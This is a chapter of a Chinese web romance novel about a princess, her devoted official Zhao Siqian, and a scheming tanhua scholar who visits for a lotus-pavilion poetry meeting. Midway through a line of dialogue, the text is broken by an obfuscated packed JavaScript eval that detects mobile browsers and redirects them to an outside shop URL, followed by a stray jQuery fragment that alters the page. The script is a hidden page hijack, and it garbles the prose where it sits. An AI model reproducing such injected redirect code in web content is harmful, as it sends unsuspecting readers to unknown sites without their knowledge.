赵思谦端过另一碗乳酪,压下心中的得意,舀起一勺,看向已经看呆了的邓由简。
“殿下,我见你一直盯着我看,是想吃吗?”
邓由简惊醒,袖中手指搓弄着袖口,她压下自己不礼貌的注视。
赵大人你这话太有歧义了,她确实想吃赵大人。
她伸手要接过冰碗,“赵文举,我自己可以,你给我就好。”
赵思谦拿碗的手往后一拉,不动声色避开她的手,右手往前一推,将勺子递到公主嘴边。
邓由简的手落空,眼前又出现一勺乳酪,疑惑问道:“我自己可以呀,赵思谦你端着多辛苦?”
赵思谦看着她眼中真情实意的疑惑,心中飘起一缕幽怨。
他一点都不辛苦!
赵思谦挪开视线看向手里的冰碗,语气幽幽:“殿下都不愿意让我喂,可见是探花郎少年英姿,把殿下勾得心散,不愿意对着我了。”
邓由简眼睁睁看着赵思谦脸上染上失落的神色,她坐如针毡,在话落的那一秒咬上勺子,将甜甜的乳酪吞入口中,甜丝丝冰凉的乳酪唇齿留香。
苍天可鉴,她都没见过探花朗长啥样呢。
咽下食物,她把头摇成拨浪鼓,“赵大人明鉴啊,我都没见过探花郎样貌如何,连姓甚名谁都不清楚,你在我这里才是最重要的。”
她就差对天发誓了。
赵思谦又舀一勺,递到她嘴边,“殿下若真那么想,才是正道。讨论诗文不去找翰林院同僚,来拜访殿下你,可见其心有异。”
邓由简无法,赵大人的盛情实在难却,她只好笑纳了,就着他的手喝下。
她掏出张帕子递给他,解释自己刚刚拒绝的行为,“冰碗温度低,文举你垫着,小心受凉。”
赵思谦接过帕子的那一刻,邓由简觉得温度都上升了几度,脸上又能看见笑意。
两人一个喂一个接受投喂,邓由简有一瞬间觉得这个走向好像不对,有点像老夫老妻夏日偷闲,这个念头很快被她否认,喂个冰激凌而已,又不是嘴对嘴,她真是限制文写多了,才会什么都能想到小情侣。
“殿下,罗探花哪日来拜访?”
“三日后,恰好你们休沐,”邓由简多问了一句,“赵文举你也要来么?”
“我想一起,既然是探讨诗文,我也略懂一些,三个人思路更广。”
“湖心亭的荷花已经间或开了几朵,那诗文探讨就放到亭子哪里去,亭子三面临书,届时荷花开得正好,你我三人鉴诗赏荷正当时。”
*
赵思谦走出公主府,发现罗柏的马车还停留在门口,他走过去问:“罗大人还不走么?”
罗柏听到他的声音,撩开车帘,露出他正看着的书籍,“赵大人好,我正要回去,我们正好顺路,不若一起回去?”
赵思谦最终上了罗柏的车,所谓知己知彼百战不殆。
他一路上不经意套话,从罗柏嘴里套出不少信息。
这位探花郎家中姊妹多,四女一子,他行三,家中贫寒,赁了一进院,家中盼着他光耀门楣,话里行间赵思谦感觉出一股急躁的气质。
赵思谦对于贫寒的学子总多一分耐性,他知学子考学不易,尽管他不喜欢那些想要夺取殿下的注意力的人。
他状似不经意问道:“罗大人还未娶妻?”
“未曾娶妻,罗某往日尚无功名,岂能耽误佳人,赵大人如今前途无量,竟也不曾婚配。”
赵思谦朝他浅笑,“如今位卑,志不在此。”
罗柏转头看向马车外,装货,巴巴跟着丹阳公主,还说什么志不在此。
赵思谦有一瞬察觉到身旁之人的不屑,他视线看向膝上的衣摆,下了定论,喜形于色,殿下不宜接触。
赵思谦第二日下值,打发完来打探信息的同僚,就看到罗柏揽住自己。
“罗大人找我何事?”
二人行至僻静处,罗柏几经踌躇,最后终于开口,“赵大人,不知您可清楚殿下的喜好,休沐日我要去拜访殿下,不知什么殿下喜欢什么颜色的衣物。”
赵思谦听了这个问题有点疑惑,这种问题也要来问他?
他在罗柏心里到底是什么样的形象,难道自己真的平易近人吗?殿下好像没这么说过。
“殿下没有什么特别偏好的颜色,你正常穿就好。”
他倒是有点想给对方推荐不适合的颜色,为了殿下的眼睛着想,还是不那么做了。
认真打量对方一番,赵思谦给出建议,“月白,鸦青,浅绿都很适合你,衣冠整洁即可。”
说完这句话,赵思谦向罗柏告别。
盯着赵思谦走远的身影,罗柏目光灼灼。
这位赵大人,似乎真的一点都不在意他靠近丹阳公主,接下来的戏不好唱,那位大人的任务他还能完成吗?
罗柏第二日继续跟着赵思谦,不厌其烦探查公主的喜好,赵思谦总是三两下把话题拨到其他地方,关于公主的喜好半点没透露。
罗柏有点焦虑,赵思谦是否参加明日的小诗会未可知,对于他探查喜好的行为也没有出现什么不良情绪,再这样下去,他的银两怕是拿不到了。
第三日,是探花郎拜访丹阳公主府的日子。
邓由简早早准备好要穿的衣物以及配对的首饰,她对探花郎的好奇有一点,探花郎以颜值见长,用她以前看过的设定来说,探花郎就是妥妥的小o,负责貌美如花。
她带着冬雪和夏枝往湖心亭去,湖面上还泛着薄薄的雾气,莲花隐在其中若隐若现,岸边停靠一艘小船,是侍者打理荷花所用。
一切吃食已经准备好,就等客人来齐,石桌上摆放着荷叶荷花插花,配套的茶具是彩绘荷花茶盏。
邓由简坐在石凳上,把玩着陶瓷荷花摆件,有脚步声从曲桥传来,她循着声音望过去。
是赵思谦,他今日穿了一身白色莲花暗纹道袍,手上抱着一叠厚厚的书籍,气质爽朗,像夏日里冰鉴里不化的冰块,看一眼只觉清爽。
邓由简朝他挥挥手,提着裙摆就往他跑去,直到跟前才慢下脚步,最后停在她面前。
赵思谦抽出一本薄薄的书籍,为她扇风。
他低头看向她,今日公主上身穿浅绿色褙子,下身则是粉色百褶裙,与池塘里的莲花交相辉映,更像是得天地灵气的莲花化形。
“殿下跑那么急做什么,我又不会跑,小心出汗受风,那我可要成为千古罪人,怕
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17746679|202515||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
是要被大殿下训斥一顿。”
邓由简抱臂,将视线转向他处,最后又盯回赵思谦,“想早点看见你呀,谁知道你不欢迎呢?”
她说完转身,受不了一点气。
肩上传来一道阻止她走动的力道,她往右肩看去,赵思谦修长的手搭在她的肩膀上。
“殿下,我错了,我们先过去吧。”
二人在湖心亭没等多久,罗柏按时赴约,由小厮带着往湖心亭来。
“罗柏见过殿下,殿下日安。”
邓由简打量着眼前的探花郎,实话实话,他的样貌属实不错,典型的温润君子长相,线条柔和,五官精致小巧,嘴角时时都是上扬着的,很难不让人心生好感,如果在现代,他的电话都被星探打脸了。
赵思谦余光观察着邓由简,心中情绪不明,殿下,有那么好看么,需要看那么久。
邓由简心里摇摇头,罗柏好看,但是不是她的菜,没有人可以比得过赵思谦。
“今日我们三人可要尽兴而归,这位赵大人于诗文一道精通,今日和我们一起。”
罗柏觑了一眼赵思谦的神情,弯腰行礼,“能得赵大人和殿下的指导,是我的荣幸,赵大人往日忙与公务,不爱与同僚相处,我一直没找机会请教他,真真遗憾。”
赵思谦一起那可真是太好了,他还怕找不到时机。
邓由简本来想回一些漂亮话,听到罗柏这番话,眉头皱了起来,这个罗柏,说话怎么茶茶的,这不对劲吧,赵大人绝不是这样的人。
诋毁赵思谦,判罚有罪,她现在给不了好脸色了,面刺赵思谦者,受极刑。
赵思谦乘着罗柏低头的时机,看了邓由简的脸色一眼,察觉到她的不耐烦,他勾了勾嘴角,罗柏今日穿着的衣服布料甚好,妄图挑拨离间,他不相信这位背后没有人。
三人落座,瓜果吃食上桌,罗柏看着这些无一不精的瓷器,精美的摆件,心中估量着它们的价值。
公主府真是富贵窝。
他拿出自己的诗文,双手拖住递给邓由简。
“这是我这几日作的诗,请殿下品鉴。”
邓由简放下叉子,接过诗文翻看起来,她不喜欢罗柏说话的方式,对于作品,她给予最高的敬意。
从头看到尾,她脸上表情不变,是几首常规的咏唱诗,对象自然是她,词藻华丽,夸得她天上有地上无的,也有几首忠君爱国的诗。
她夸不出来什么,只说几句对方文采斐然。
她将诗递给赵思谦。
他接过看了几眼,只拿爱国诗点了几句,咏唱诗闭口不提。
罗柏看他们两人没有什么太大的神情波动,将话题引到其他方向,聊着他对公主和赵思谦的崇拜,聊他曾经去西南府求学,借此问他们的西南之旅。
邓由简捡有趣的小事拿出来说。
话到性情处,罗柏将一张卷轴取出来,献给邓由简。
“殿下龙凤之姿,某爱慕殿下,特画此图,献与殿下,望得殿下欢心。”
邓由简一脸凝重,她没有理解错吧,爱慕,一见钟情?也许是她一开始就对罗柏印象不好,听到这句话她只觉得恶寒。
赵思谦锋利的视线扫向罗柏。